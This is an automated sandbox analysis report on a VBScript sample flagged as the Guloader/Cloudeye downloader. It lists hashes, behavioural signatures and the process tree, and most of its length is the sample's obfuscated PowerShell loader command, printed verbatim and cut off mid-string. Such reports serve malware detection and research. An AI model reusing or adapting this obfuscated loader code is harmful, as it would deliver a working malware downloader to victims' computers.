Analysis
-
max time kernel
43s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
21-12-2022 17:49
Static task
static1
Behavioral task
behavioral1
Sample
ZNInv_39422216.vbs
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
ZNInv_39422216.vbs
Resource
win10v2004-20220812-en
General
-
Target
ZNInv_39422216.vbs
-
Size
320KB
-
MD5
0c6bc6f5606bf31ae19629e21267e35f
-
SHA1
56f6d96c5509e02692cbab7be53544646c00adc8
-
SHA256
fe277d877c63cff423dd616f3b873125fc7c1b51d0a7e826d070ee5945bc32c6
-
SHA512
a483f57b0621226a8214facda1fcccd784268fe6dcde2194a186ac2978af2a0b966e2f2d3a8ebc86d6b86bf5941edc0796af5e72f5dfb7328c2fd1a937b866cf
-
SSDEEP
6144:zps8yL7FzPw01gp+uVGdoDwQoMSxHw5qhWBoH/fVDJFt:zoHiouVG0wQoIo1Dt
Malware Config
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 2036 powershell.exe 580 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2036 powershell.exe Token: SeDebugPrivilege 580 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 1904 wrote to memory of 996 1904 WScript.exe cmd.exe PID 1904 wrote to memory of 996 1904 WScript.exe cmd.exe PID 1904 wrote to memory of 996 1904 WScript.exe cmd.exe PID 1904 wrote to memory of 2036 1904 WScript.exe powershell.exe PID 1904 wrote to memory of 2036 1904 WScript.exe powershell.exe PID 1904 wrote to memory of 2036 1904 WScript.exe powershell.exe PID 2036 wrote to memory of 580 2036 powershell.exe powershell.exe PID 2036 wrote to memory of 580 2036 powershell.exe powershell.exe PID 2036 wrote to memory of 580 2036 powershell.exe powershell.exe PID 2036 wrote to memory of 580 2036 powershell.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ZNInv_39422216.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.execmd /c echo REG_SZ2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Inogen = """PhlFPiluBlonKmmcApptRegiPoloDesnKra OveGCapeAftoMytpBefoNilnLenyTot0Gla0Tek Jus{timpMisaTelrYipaSchmMis(Met[HypSInstLytrThiiuddnMikgBan]pit`$StrfEneySalrLipsTm vLinaBremKonpDoreKornnonewrosGer)Law;CelFSidoSmirBip(Sca`$GruAVokfHopgUnpaDodnUbegSelsTrakDatlSodacousPynsLeneSperInfspro=Nvn3Ald;Kob Sub`$yoyABemfSubgLufaMisnSofgPlasGrakSaglOmgaSemsBulsDepeSuprLufsSto Met-TralOvetSys Woh`$hldfMouyaccrtrisSlavSluaSarmWarpdebeBofnImpeAntsSla.DepLNoneResnErogStutYelhFor-Bru1Ska;Til Phi`$AfsARagfKargKopaRibnGregThysCrekLimlSmaaDiwsHibsforeHjlrdyrsUnp+Nig=sli(Sol3Afg+Spn1Paa)Mor)Rub{Trv`$KatFRedoNgerOmdmBrnyLexlRedaVanlAnn Bul=Wag Bla`$PapFMusoSparCrymTelySellMaraCurlKur Tot+Ble Dep`$SpufOveyBacrVacstifvMesaUgemHoapCiteMannIraeKonsTil.ArbSKorusagbLinsCystArmrPoliExpnHelgSti(Pyr`$DreAkonfBrygOpvaJannCirgOpssInskBerlOtoaProsAutsBobeAderPersLig,Brn Pop1unl)Ero;Hom}Swi`$UafFCapoWatrSvimburyNiklGenaSarlKvi;Arb}Pro`$AkvGCreePeaoGalpGlyoSubnWomyRec0Rad2Aut Glt=Skr WasGStueIltoRudpskeoBagnwatyPne0Tam0Str con'KomAGglnHaidUdbIMouUParnAnecVarnSmrAsorfStilSvavSkyILednSuptAttoRimKArbrEmblGaakKalPAssrMotiExpeMarRBeceMaalCir-UncsBilpAfhhHooEspaCOutoBlalChexRejGRaaeColrDeppObsFVelofrerInsrpseISubnDishSpeeEftTArgaBikbOctsakrAOvaiAntsVansOvesGroaEnonKoniIntTEjerTjeaSecoRorMTemuUrbsGennUdfDBefiFrasBee Fup'Hov;Brn`$TorGUndeClaoCelpShioSkonStryrot0Til1Und uds=Ota PleGquaeMiloJoupResoSnanUneySta0Rho0Flo Ham'paaBPiaeBusaBur`$TasMKigiUdgcOutDSteSLappTageStiaHiswPhraYabvPengProuMaznKollShabIkeTFavoDowrAntoTraSRelvAdraFordSetMAftaBruaDessGimUKlinBiltIntsGloFAndiUoplBetaProMDioiTemsAfstSolDarboAffrPlusEveUNondMorlgraeAcrFOpliPlunJannRetSPatuEarcEpisChiCchaoProrCro[PinUUndnoxaaRek`$NicPRiciEsolNonAMetTBrsrUkoaUdffClaCNytufretHovgAlyRSbeeUneeSpraWeaRParewouaBionSkeFOvelideuDulgForSReguSlabFlasSnjSPincThooDafkEmuDQuiuRempFollResHlysaKonrReaaKomNHonrNgtkDansAllIHardBoreSkosPolERykmPomeDigeEdaODrakAmfsAllrLedpQuiaArtrSansAssPSchaImmrSni/TriHSluaBegsDis2BedLCasuGrkfCou]IntCDysaBetlBkk UnsAUnfrRetaUns=EsbMLunescrtInf autPLngeGasnMaa[InfWOpsiPlaeHumcAcePBefrJamePrioExaITilnDdedSkrnSugBOveadomnTelvSluBDemoVeduParePriDcateKnofDagrStrSGrakSynjAertIndPFusrfnyeTid]DryWUpseFelgRea:OrvUChadAfgvMia:TouGConaGallUnmTRisfSaliTykbYeaoSubSSoluBectIdiBSpiEKlunGuieFaxysubSUnrnGenaPletSupSspilUplgSteeSelSFriaFancUmb(FunRHvlaaphaBis`$CheMGlaaChotGlifForDSagdGrusTolySquFVatrCaleRadrBenCBlohPriaTipsOveADadmAntbmorvHypUMasdAfflOpraUriDAgdiNonaNonmEksHGloeReglCigpIsbPTelrHofoDeseEryuKeynHumiFrengliBCutoVilnSdleSutDEcooPanmHunsGirMBlouAgglPar.IntRSaleTergXanSOmssunqkPreijaiuSwiWoutaFoetSenbWanSgaahSpeoDissUjvDRouaPeraAnktSnkEExurSamhHumrBareChenSprgThaiFroTbiooArcuPrenBrdIEmanPhadImpgDisSSvicBefiSen(XemCTroastrvCir`$VerBFrylNonoBliATisPSlgrTuteDdmfDefKNedoFerlForgIsoSSvavFlgiSemaSolUBjldRefkFornSlaECepsAccsopsgPhiTGalwHeraRensSneIUbemtagpNiakBinCCeruTotfTeglKumSCalkIseaYanaComMHydoPosrMonsOakncaneDocdsupsPerWUnsafroiMeneKllrFlueScohSkyrMisNNonaSpotBilsProfHalrBesdTom,UdbOflypKomkNav SovRSoueKafkTin2NonDHndeJokcBam)MorEomrxLogcHew,MenUKnobTvarInd ThoTunruChafRen1PigaGernMenbLar6EliSLautSpenphy)EroFSknrDeseHai Sam'Duv;IndFDsiuGarnSljcRectDesiKitoLngnSwo LamHinfTSanBImb Oli{BurpOveaMelrArvaudmmIll(Udl[MyrSSpatKonrBloiRuanImpgHus]Dou`$HjefOmsyPrerEsksCasvGenaRubmYawpFljeHutnUnreHaksBio)Lyn;Aal`$EloDHumaSavgTenbUndoSigdKulsWidsDeoaAbstKonsRumeLonnCahsNon Vou=Omp HomNForeVejwLek-TroOTilbKarjAriepaiclintLuf RoobTusyAmatSnieFed[Ato]Pre Bra(Ban`$SalfVeryMobrBefsPrevWataOvemEkspNikeNagnConeCersDet.BatLFoleJomnEulgbiptAfbhDet Bef/Jes Bit2fir)Rad;JudFForoLocrMil(Ott`$VenAswafEvagAdsaUinnHlegBowsCurkOvelAstaBloscrisPaleMaarTelsFlu=Svi0Obs;Unb Han`$LetAFejfAssgBygaSnrnPlagAndsUdvkAsslBjlaRnesLavsFemeRegrmonsOve Arm-FumlExttsel Sto`$RevfRetyMotrSigsThavSheaSprmTogpDumeBalnRileCirsUnd.UpaLWageScanSkrgLuftSndhSpo;Tol Paa`$nitAEndflnpgEleaSprnRutgTutsCenkFixlVouaSwisRutsMeteFalrBessDih+Brn=Rig2Pre)Ast{Sla.Meg(Lig`$EnlGStneJogoTdrpKreoRetnSvmySka0Meg2rel)Unb Shi`$MisGGareMinoInepAggoDidnNegyDis0mgt1Idi;Spi`$ChyDScoaPregPhobbucoSindCacsLarsskaaFintBowsUdseBunnRaisBla[Tub`$TocARekfThagNoraRadnAktgBegsTrakOutlNaiaAnasligsTineAfsrSonsWea/Fre2Dup]Bes Fer=Tri Lac(Leg`$BulDIndaMetgLeibLiloMasdDelsledsRkkaGaatComsAfrePetnSpasRep[Und`$bilASkafSnigIsoaStrnUdsgWoosPrekFellSpeaAlksUresCameLukrBudsKib/pri2ste]Ble Rek-ForbDigxEftoFilrFry Til1For5Sub5mng)Ras;Aso}Gui[GruSMontStyrDeriBannTykgNov]Aco[ReaSRegyRossBoltUnfeQuimNar.AntTSydeHomxMortDis.SemEmilnVrdcGehoPotdRekiHasnReugUng]fin:Tro:IklAUdfSSupCSdeIBelIPan.HujGKoteAndtBroSDiatTenrWaridatnUnvgMal(Sam`$LanDMisaMangMyxbIntoCradHulsUnesGanaRevtSelsMineIronOvesOms)Wit;Her}Hjl`$ProJPasuAeglche0Not=KreHStvTPseBFam Tdl'VidCDes8ZooETrs2UndEFor8ArkEElmFOmsFSclELefFaga6MusBGel5CerFTruFRadFPat7AffFInt7Jim'sof;Pri`$algJSjauHjelTra1Skr=ForHPenTDmoBVir Fle'BriDBan6DeeFSnr2GruFArt8UdkEEft9KalFSee4SquERoo8LydFSta4conFlovDudfEForFTilBMor5AffCRegCForFAsy2WeaFSmi5BukASmi8ProAUnh9VveBOrl5RaaCYomEUtaFKnb5IstEJam8BibFGuaAAhuFAntDMicFUneEBabDBak5BryFHipASatEGuiFGulFKen2UndEMagDPaaFAmbECroDNem6ScuFChoEStoEHanFBarFUns3OutFBag4SluFEjeFCruEReb8For'Nyc;Hyd`$HaaJVarumeglBet2Til=MutHMusTGraBFor Dig'AnhDHenCIdmFFleEMulECouFSerCMetBGriEIns9LilFSad4OxyFoce8OmsDMelAEksFIndFProFEncFGudEVgt9IngFRetEHudEDec8AudECom8Eux'Pro;Hus`$LasJSpouDielTil3una=KlaHBegTRejBPla squ'JetCTop8OvnETim2ChaEGau8MelEAntFNycFAduEStiFsub6BriBUdf5ErhCMet9HjeEHemECeoFMil5KonEPosFSkyFReo2TibFFde6OveFAutESpeBDes5AdsDMid2kakFSka5StiEQuiFbraFBanEGusERat9DisFDra4ScaENonBYttCCav8BffFUrsEPelEUra9TekEEroDZopFEth2OutFGha8ApoFKnuEVngETek8GasBOut5NonDGen3OplFGdsAunsFAdm5ResFChoFMaeFeud7FluFkreEZimCPre9EftFDebESovFChaDAfr'eng;Amp`$InfJUnduUnilHen4Ass=PleHLokTvalBPja Pro'fedEReu8ForECoiFUddEDem9PavFKva2PseFUds5KalFAssCRev'Cou;Sty`$hulJBoruTillBif5Gum=BakHTagTSilBSpa Ned'CymDMatCAnlFBufESupEGldFForDAfd6HunFCom4BefFIdrFKalEUndEFunFine7IllFBryEUnoDeks3SigFFemAGraFSto5IrrFwebFPseFGra7FroFpinEFri'bas;Boa`$ankJLymuDoklTra6For=rekHConTFirBRei Cir'fraCHav9MilCEntFMisCGeo8ForEPolBRigFUndETorFOve8ZooFkid2FsyFCysAEjeFUnd7FarDSaa5BonFBocASemFRes6ReeFUniEPerBAnd7MahBVsnBAngDpre3HooFToe2UltFProFMasFPicERegDSym9CodESet2MarCsnv8aukFAmm2AarFMesCDucBove7bytBAfkBUudCHviBNonEFlsEDreFFor9TjlFLev7UltFKas2GuaFSam8Ant'Pep;Fol`$TekJskiuEftlVaa7Uds=RegHUneTBisBGra Moi'EftCStr9MolEBilEOkkFMis5JenETilFButFelu2UhyFApp6RecFLasEUnaBJor7PrsBInfBMulDUnc6TabFPejAYngFtre5SkrFYoyASeeFForCTroFGraEsodFSikFAns'Kor;Leg`$UndJAktuParlMac8uve=OkeHBogTSneBBan Ter'OafCRoa9NorFSetENonFBagDAppFUen7SpiFForEGruFGru8AftEBagFSchFSkrEJudFtilFBedDInsFRedFGigERelFAnd7WhiFAbsEPanFRenCRetFExeAGluEHomFHagFHanEApp'Opk;iso`$FllJopsuAnslUnd9Xen=OblHUnkTNedBUdb fis'JejDKna2NonFSki5PerDApp6SttFNicETieFClo6armFUns4ExtEHov9SmlEHab2ChoDsni6DocFSum4MisFMinFSteESidESalFpiv7FisFRutETra'Baa;Ele`$GnesUdnoPerrUdsbAtoiPoltTumoObflPaa0Ned=ReaHUndTTimBmjs Vil'VanDLou6SjlESne2SkuDMenFStrFAmeEKomFJus7VetFMolEForFHypCIdeFNooAStoEBenFSpiFHypEDipCnicFHarEFde2HovELevBtheFMalEAny'Brn;Pic`$UnpsKemoErnrForbScuiToltTeeoSuslVet1Gor=UneHSteTUdgBQua Ega'SenDDkn8GevFDri7KikFRorAVesELam8DetETun8SlaBOve7ThoBUndBUtiCPiaBKamEIndEChaFGry9SkiFUnp7BalFmod2ParFLyc8DiaBTra7HjlBLedBUnwCAbs8StuFMinECraFSquAspoFBrd7SkrFPhyEHypFBluFKomBven7GudBRecBAngDCarAornFSmu5FraEDiu8VigFBus2KryDSpe8GazFMar7FloFforAEspEMar8RunEUnw8MelBKun7SinBGarBImpDEtiAEnrEImpEGulENdtFGouFGad4SemDSon8GamFCap7KilFAffAOneEUni8ArnEMak8Ech'Lbs;tra`$CelsSkyoInsrUnrbBogiBiotAchoseiltas2Mas=BeoHGanTUorBGer Joy'SedDRif2isoFMat5PhaEGenDTolFwor4IndFSit0antFPivEGro'Bes;Ple`$SkysDefoBerrFurbDokiReptSanoOutlstr3wre=KenHBreTCurBlev Ana'LinCindBKerEPreEDiaFres9EleFKic7ArcFNon2DefFVan8DozBAco7FerBUnvBUnmDHom3RetFKul2AnrFphoFKroFReaEOphDSkr9SamEGas2OmeCFlj8ReuFDis2MukFdifCgteBtek7OxfBGomBCorDSqu5SkuFSclEUtaEHolCFelCElb8NoaFMod7AurFNug4forEIndFNatBRec7FigBmatBInfCBreDEmbFAut2AfrEFin9LysEActFRveEOmpEPovFAunAAftFCar7Vin'Pro;Enf`$NonsReaoVolrSalbKeriDemtTryoSprlPas4Gli=cruHGriTNunBUnd Snu'antCMeaDHjgFSky2CocEhje9UndESitFPreEDasERelFStaASynFUop7TenDDrnAKomFMel7AudFBog7LibFLov4TanFSci8Fla'Sci;Man`$SecsOf oSalrKolbEelihestForoCholEro5Bew=ThuHSacTTolBUnl Trn'MonFKre5elaESulFPreFPerFWazFPor7LinFkib7Kli'Kru;Emu`$NigsJedoHairEftbBudiMidtdecoRoslExc6spy=SkrHGraTPruBamt Raa'GemDPul5AarESicFSamCImpBArsEHem9SweFNeu4ExpEChaFDogFSimEPasFFin8DioEPseFAfrCPreDSafFPer2GrnEPal9HolEPreFHjrEPreEEleFSfoASubFSka7nonDWal6UndFInsEPolFCoe6HucFEnt4SkaETeg9AllEUnd2Ber'Amn;sko`$BidsLaxoUltrPygbFuliPritProoPotlind7Beh=NeaHUnpTOmfBThi Glo'DinDdob2ConDSprENarCLad3Bur'Stu;Smi`$TecsAcroForrBerbBuriRhetUdkoBatlOms8Ste=ProHDriTFilBUnm Spo'ProCMul7Alt'Pap;UnofInduSinnGttcRentAfkiPaaoTranBeu subfEmikLntpShe Sek{DukPDodaSemrTilaBommFar Ryt(And`$BulAAcccOveiTurdEuruSucrTogiPruaAnvsGum,Imm Ufu`$PapCTidiCrarKercSeruMonmSuncRadiDagrExpcJiblGdneDissStr)Bog For Mul Vel Tav Aff;Brn`$UlrVansaAchnFdsrJacyreteEmatLiv0Fac Fab=NonHKurTTevBIns Ult'gnaBSviFChoChanEYttFPor5EngFSljDWifFStuEExpFBilEProFTelFResFTenAephFNac9BenFSlu7TarFIntEObsBGraBHydACuc6CifBDepBAzoBInd3oveCEnt0udjDCytABesEBjeBSelEInaBCunDGigFPreFVer4LynFTai6EmoFPatASmiFNon2ArrFSpi5SanCDec6SmaADic1BooATes1ElgDKon8SalEForEUndEPac9DepEBrs9AggFPerEAhmFSte5KolEAnnFPhyDCriFTelFUnd4KarFHav6KogFCerAProFTog2IndFSci5UdfBWoo5DomDMenCStoFSkaEMiaEConFIatDDipAlonEMon8LftEUfo8RhaFTegEUneFFor6ColFSuf9TelFmai7ReaFGam2PrpFChlESpiEChi8DecBAfr3BanBnor2AncBUdfBDarEOps7StiBManBBepCEjeCCliFAfp3HapFTerEKunEBru9RenFTypEBavBmis6FroDOve4SupFTro9PolFKom1DdsFConEbloFAar8LonEIndFCysBDisBKarEAns0VitBObjBAppBRenFFinCPan4redBEft5AhoDUdkCBruFcec7ShoFAbs4HaaFacc9VaaFBjeAFluFHan7IdiDForAMejEGam8GenEUlv8StrFGenEwudFNec6HypFSpt9SekFPre7JacESai2lazDDel8DimFMeeAOlyFElv8scoFsli3CutFKftENedBFejBForBOpd6BruDAmoADibFSle5uneFStaFLreBShuBJerBBehFBisCTha4TraBtur5refDTrv7RegFEnd4etrFEme8rudFSlaAFleEDriFOveFFor2SjlFStr4PerFans5gavBMar5PotCKni8youEShuBUndFKey7HemFObt2RejERelFHomBNat3MelBTvaFIntEPla8SkiFBei4WhaEOpg9BagFAka9TakFDee2ColEDipFUdaFAck4UncFRed7PerATrs3DamBLep2DupCDau0RosBPep6livATobABliCshe6EksBTan5CurDUltERunEBlaASklEManEGraFUnpABruFmor7PilEBal8SemBCol3MopBBalFVvsDBlo1RatEVadEBunFFag7KomATwiBsinBSys2UteBMasBHolETaf6RunBAna2IndBUnm5DruDGerClynFRouENonENedFAfsCTllFLymEBar2KatEKamBForFStrEUdkBOmn3IndBekpFMauDGen1TunELinEFooFEle7SrgAAnaAEpoBFil2Pri'Var;Atr&Dre(Pre`$BansGruohesrStibRegiuretDeloAutlopl7Gia)Yor Kno`$HypVconamornAddrsevyUlveMestOve0Cel;spr`$AlyVOveaNglnPoirRegyForeStrtFik5Man Dia=Fru QuaHVioTNonBGen Non'AmoBKalFUnvDBab8CoeEhue2FedFRun6GruFmer7BukFPun2BedFAma5VanEStr8QuaBSluBBruAUnd6VesBBarBPerBTenFCouCInsENrhFRav5JogFMorDSmaFChrETerFHeaEafsFGifFReaFPhrASamFMon9UmeFTre7DusFCauECarBjus5SpoDSisCSstFSkyEFejEAfmFjvnDGen6RhoFTusEIndEAjaFUriFMde3SamFLud4UtiFPleFUdsBOve3StaBBjeFDelDGru1UdlEBraEGorFUni7ResAMis9AzoBSid7OchBTilBFisCOmk0InkCMilFDefETul2GteEConBDisFLepEDumCCho0ScaCKal6ForCLav6RheBAriBDadDTasBRenBChe3nonBOutFRanDOpn1PreEBonEScoFSpo7DefAHar8OmrBpiz7AleBGenBIncBsynFslaDArb1svbERasEJabFTut7antAporFEpiBGen2hymBPan2Opi'Mid;Pro&spi(kla`$ComsAtooImarChybpriiBintcotoIb lKol7His)Ske Det`$KraVAmuaDamnLykrOblyXcteBedtTil5unb;Twi`$HydVPseaOprnPosrAiryTrieReotNeg1sup Skg=Pok ChoHSamTProBHyp Tme'StoECan9BesFSanEPriEKonFFirEParEFryEDol9UnfFSup5RefBFatBBryBDraFGadDDen8EdiELac2PerFDis6IdeFHop7BruFHar2UdbFFar5FouESpa8GenBRef5PieDChe2SupFKer5aftEDriDStuFAcr4SpiFTub0SerFExhEChiBChr3HemBBjeFHjhFOve5TriEForEclyFBld7ReaFTog7insBEks7DreBGlaBsitDElaBSmiBDam3ShiCIns0HelCsub8GgeEvit2PalEByg8StnEBrdFHjoFStrEWeeFInd6EmpBFor5SpeCgem9LedEUntERutFEpi5ForEPreFSadFLis2PerFSpu6creFBefEGawBDum5ReiDBra2SceFPse5FanESkiFChiFPumEArgEcor9SlaFHod4TeaEKatBFlaCBla8AtrFCoaEWhoENed9StaERubDAllFKog2RwaFNar8BenFGraEPulESit8CupBCon5NskDInd3DagFIndAOmkFBol5menFslfFIndFGal7EmbFMisEDiaCGrn9CheFSpnECenFKyaDForCJus6TinBTjr3KraDGam5UnsFtalEdarEMarCSenBRyt6QuaDSig4GroFBst9SilFLiv1MorFRelEBraFHan8ForEHalFOstBKomBThrCDis8LusESat2LogEMig8IntEKogFYeoFAppEBagFBru6HamBBas5StaCSmi9FanESkvEInrFHjr5HjrEKldFProFUdm2AspFSto6CurFForEKdvBRel5GruDAnh2OrtFSwi5PytEKliFFriFTilEGutEAed9HunFeft4FinEKomBStrCPlu8SprFAsmESupEHes9vagEAppDDelFOmn2RidFinf8ReaFNonEEnhEunr8AarBSku5NonDSkr3IllFAccATasFIns5SegFSlaFBivFAms7RidFSabEAspCFor9UdpFMimEDbuFTroDnieBEks3HaaBNon3GroDjub5HemFRotEStiEfetCAgtBDom6SpiDRui4LupFSon9mohFSyl1ForFEksEMulFKar8EffEUniFExpBTraBReiDFad2FixFTro5EcgEConFSolCSmiBHydENedFSsiEHor9GenBGam2TraBFun7FjeBResBUnhBund3PriBMopFPitCEnoEChoFSca5GenFAnnDDecFTanESwiFOveEUdsFAutFMegFAfsAoutFRrt9NonFVan7winFKriEUnkBRef5StaDAveCKunFReaEPluEFabFSeeDFag6DesFEksEOliEForFSinFBro3OppFTor4ArbFSpeFcalBUdp3undBSouFForDUnd1FemEGloEOlyFBog7uskAMelEAtrBOes2ForBSpr2UnrBFor5IodDIod2JudFInd5SkaEPlaDEvaFFil4IndFOmf0KimFEryEFooBPan3KlaBAugFUnnFadf5SpuEmelEnotFSlv7ConFCha7OpsBGry7LivBCamBMarDBraBUncBplu3UndBVrdFUngDUnrAGnaFdkn8SupFSyn2ForFGraFOliEsidERetEBed9InsFCol2TreFAkoASiaENon8SynBStu2VilBRid2LodBInt2CanBPud2AttBUng7ArtBSubBIntBMasFAssDKro8SolFOnd2FinECen9JorFChr8RanEDucESolFRes6NonFglo8WheFTas2LosETro9JeoFKoo8UdbFbye7ParFSliEBetESco8NedBCri2kerBCon2Fjr'Ext;Mon&Aqu(dil`$CumsSrboEvarPatbEbeiLawtBruoGrulRes7Erh)Mis Fem`$SawVDisaStsnBetrJogyYdeeBrettil1Glo;Hen}StofFliuAlbnDancRelthieiAdfoMarnTox RomGSedDArrTAcc Spr{TriPPreaFlorFljaLigmStr Fje(Erh[GriPDataColrScraSynmopseKomtNoneIndrUps(BacPUndodagsMatiSlatKoriTuboFornHol Kon=Cit Eta0man,Aer CorMColaUdrnColdDinaWaytDecoBehrUnrydan Eks=Ser Gla`$TidTlirrHetuakreSam)Mus]Cry Hyd[PleTTumyanepHeaeCan[Slo]Man]Lyg Nut`$ldeSTrukMonaPhrtTenkFreaPremDabmKloeColrFunbFemeUndvAlaiForsKoneOverPoinfareVejsStu,Pub[MerPVedaErerChiaHeemforeBoitGoneMarrbyg(UdsPKeporrdsFriiPintDriiSemoSubnbec Ane=Mod Reg1Top)Spa]Rea Unn[UncTNonySuspOrceStr]Sig Sej`$CosKGstlDhuuGinpInfpRadeSidrHucnTrkeSny2Sam8Ado Jeo=Ver Und[PerVbegoTariFrfdPer]Fak)Oej;Mil`$ToiVMasaReqnLomrImpyBogeThotMel2Stn Buk=Geb RekHUnlTLivBRin Dum'HomBResFGirDRotDEksFHan4BanEAmb9KbsFsam9SigFKnsEVicEBob9PsaFRudEOffFgarFPanFHeiEudsFAft7FarESpe8UnpFAdmELabEAfl9TopFPar5UdsFKenEModBPaaBVanANon6DetBOffBHilCLsb0UndDKarAHjeEEngBBilETerBsisDSutFSpoFDes4SulFSyn6MidFMudAHooFfor2OutFUds5NonCOrk6ReaAPlu1StrAKry1GerDFli8GraEHolEirrESka9FinETer9mngFhjeEBocFDel5PolEBacFPreDVejFForFHlo4AttFNio6SugFAfkADsnFVik2SkiFsav5UnsBAgy5PilDConFEpiFHypEBanFForDUnsFOpl2remFEdi5SkyFIrrEpepDDrsFbakEUaf2MngFSub5AndFmonABurFDia6TriFFor2SugFBla8VenDBarABasEHob8DupECoc8CupFNonERumFDot6TilFYan9KalFCup7BusEInf2DegBRep3CobBSkr3PyrDide5burFFraECouEtilCKnoBRec6CenDTob4SprFnon9AalFkon1AseFHarETooFBog8SupEBroFDekBVivBOveCpro8FriEYaf2BetEAnt8micEoveFBeaFKatEVilFSkj6RetBFor5RoeCAnv9StrFSouEFlsFTilDFocFVic7BipFKonERomFSpa8IndEShiFOveFKry2KniFHor4AntFSkr5MemBTen5HovDOmsANdrEAtt8jalEVan8MegFMilERheFNyt6KraFAda9GraFPro7BalEtea2RomDdeg5LorFOccAJouFFan6SleFSluECenBAte3proBDatFCheDCar1SpaEEjbEAfbFSol7BadAdyn3benBlit2VowBmel2HjtBVie7ForBFulBRreCpyr0PonCpal8PanECep2FulEmed8uigETauFUnkFBynEInaFove6TraBHjf5AlmCKam9SvnFUdsESelFBonDpedFfla7PreFAutEParFBes8SmaEDeaFSpiFKey2GraFKor4FloFPro5ForBRyg5StrDUlmEBloFMen6LigFCol2AfhElanFAutBBlr5BouDSpiABelEcoo8EuxEOve8SigFsndEBogFCoh6BrkFBov9KomFUnt7PlaEAbo2regDkhz9LedEEveEStyFBre2GriFNon7TekFcitFKriFSlvEIndEwin9UndDLanAUdsFEsr8UnfFReg8SigFGyrEunaETil8OpsEvel8PseCleb6flyAOpn1SluADis1AkkCMaa9FluEStaEStnFSam5FroBBre2RhiBPur5ShiDLilFNapFAspECerFKomDMarFEle2papFrea5StaFTilESteDBlrFSanECon2HexFBar5BabFSpgAandFRet6ParFMas2BalFFgt8RaaDSkr6amuFTug4HjeFExoFHolEPrsEsluFMut7DagFLanEReaBNon3sacBLliFPerDDes1SigEFllEHjaFMal7UrnAUna2VagBUns7RisBBroBSupBBulFCutFUltDVulFChiARepFHje7LocEUns8AdjFForEClaBCur2HaaBDol5MasDFinFCysFAlbEPsiFAncDcitFAcq2IntFAgn5StrFsmuEInsCGdsFOriEadm2SkrEDisBSplFlseESlaBUnt3AzrBBrnFBirETra8DrsFTal4UndEDei9OpsFPre9ScaFFyl2AutEamuFSlvFUov4CriFSpr7ProAmanBTawBLem7SubBResBproBBarFSkrEMid8uncFTov4FreESup9UnmFEll9RedFPal2StaEHjlFBooFSpi4PaaFapp7UnaAStuAPirBAas7UrtBPfaBCopCTac0ReaCUfa8SymEJej2FriESkn8CraEPyrFOrdFSkoEDybFFly6MetBPec5HosDMod6HecEUdnEEnkFAll7ResEOveFTanFver2BesFCal8AfmFLgpASomEAng8GrsEScrFRecDHerFFikFSknElufFQer7AdoFIndELysFDhfCBanFBloARenEchaFTesFKarEMenCDis6ClaBArb2Sti'Akr;Jen&Pha(Oxy`$NatsJaloOfrrSvnbDeniSpatMuloFlelSci7Vej)Bet Wro`$TotVUnnaMulnStorBruySpieUnhtDis2Cho;Lla`$KonVUnaaMegnSporGlayFenesuntDis3Dat Hen=vag MalHSkyTBygBtea Hef'EvaBUnsFPluDCosDBssFAmo4BruEOve9VerFPor9ParFGodEJusEBea9OplFHamELokFAntFAfbFMirEHawFUnd7FamESis8ToiFFriENonESin9ForFNon5CouFDisEBrdBodo5WriDSpoFNonFRifEPigFFauDBorFUdt2HypFMud5spiFDekEVirDTou8HerFHel4VirFGla5IndEMud8misERelFSlgESny9BibEImpEKatFOve8FluEGiaFspoFTri4MesEAcu9TvrBHje3KunBBttFNatDOve1EntEKerETopFAfr7AanAToeDRakBChi7TidBAllBRedCEft0UfoCbru8LicESlo2EyeEBer8PrsEPavFSubFAcrESplFNun6SpeBPre5EksCPol9StoFbemEBloFBamDQuaFIch7AksFTriEForFPar8OveEPerFUnfFNat2IrrFFix4NedFRab5BorBRed5RetDCil8NonFStrAnonFEnd7RetFUnd7CirFMar2MetFfor5KhaFVesCdadDKas8TicFglo4UdvFlss5lepEBybDSenFHaaEZooFNon5DisEOsiFSubFGra2MatFNeo4SciFHos5TilEDie8SkrCPol6PosAPho1LysAScl1PasCPaa8SpiEProFUriFKamAEndFTid5SmaFOveFHypFAroAAegESar9SprFTraFOrtBElv7usyBSvaBJeeBKalFMooCStr8RntFMlg0AnmFSkrAForEVulFKonFIco0CauFAbeAVisFHer6CheFOej6ramFFilEDaiESuk9HemFSku9NugFPhoESteERegDBotFCan2TilEUns8MajFStuEVitEHer9TraFRug5RenFTekEmisELsn8KavBAro2HypBOut5kapCEus8DisFKulECamEProFIllDTan2MilFBro6EsaEBudBSquFBer7DreFSkjEAntFSkr6OutFSamEPriFSka5ArtEAfhFAmaFPraAFllEForFFulFPri2LegFScu4BrnFSko5TvaDRimDSkaFAld7udeFLdeAGriFForCMedEGle8natBNeg3logBKonFTriDRub1MylESkoEWoaFEle7UnrACleCReiBMis2Emb'Sge;ele&Fri(Umu`$BabsIrroHnerCepbBreimixtSphoRotlPre7Per)Ple Tro`$UdvVObsabenndesrTraySyneIndtRig3Bas;Dia`$OpuVSrgaSamnHelrRetyVineRevtAnt4Cha Ger=Til SimHKreTBrnBerh 